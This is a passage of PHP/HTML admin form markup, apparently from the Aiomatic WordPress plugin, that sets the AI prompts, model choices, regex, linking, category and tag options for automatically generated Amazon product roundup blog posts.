other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">Write a title for a product roundup blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 40 and 60 characters.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model" name="aiomatic_amazon_list[topic_title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">Write an intro for a blog post which talks about the following products: %%all_product_titles%%, %%all_product_info%%, in %%language%%. The title of the post is "%%post_title%%". Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model" name="aiomatic_amazon_list[topic_intro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%article_so_far%%, %%last_section_content%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="aiomatic_amazon_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">Write the content of a post section describing the product "%%product_title%%" in %%language%%. Include pros and cons of the product. Don't repeat the product title in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Add an engaging Call to Action link to: %%aff_url%%. Be sure to add the following HTML classes to the call to action button: "button btn btn-primary". Writing Style: %%writing_style%%. Tone: %%writing_tone%%. %%first_hand_experience_prompt%% Note: Do not use <pre> or <code> tags as they can cause formatting issues. Ensure HTML is correctly formatted and not encoded as HTML entities. All HTML tags should be properly closed and used in a way that will render correctly on the frontend. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. The content provided will be automatically published on my website. Extract content from the following product description: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model" name="aiomatic_amazon_list[topic_content_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">Write a Q&A for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model" name="aiomatic_amazon_list[topic_qa_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">Write an outro for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model" name="aiomatic_amazon_list[topic_outro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">Write a short excerpt for a blog post with the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. The blog post describes and compares multiple products: %%all_product_titles%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model" name="aiomatic_amazon_list[topic_excerpt_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the product comparison prompt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Comparison Table Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[table_prompt][]" placeholder="Enter your table prompts, one per line" class="cr_width_full">Generate a HTML product comparison table, for a product review blog post. The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Don't add the entire description as a table entry, but instead, extract data from it, make matches between multiple products, be creative and also short and simple. The table must be in a WordPress friendly format and have modern styling (you can use WordPress table classes). Detail product information: %%all_product_info%%</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the product comparison table generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Comparison Table Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_table_model" name="aiomatic_amazon_list[topic_table_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[strip_by_regex_prompts][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on" name="aiomatic_amazon_list[run_regex_on][]" type="text" list="run_regex_on_list" class="coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> <option value="table">table</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_amazon_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_amazon_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_amazon_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Category Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post categories from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_amazon_list[auto_categories][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="category_model" name="aiomatic_amazon_list[category_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.</textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select multiple id="default_category" name="aiomatic_amazon_list[default_category][]" class="cr_width_full" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678" selected><?php echo esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_amazon_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_inexist" name="aiomatic_amazon_list[skip_inexist][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Tag Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post tags from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_amazon_list[auto_tags][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div 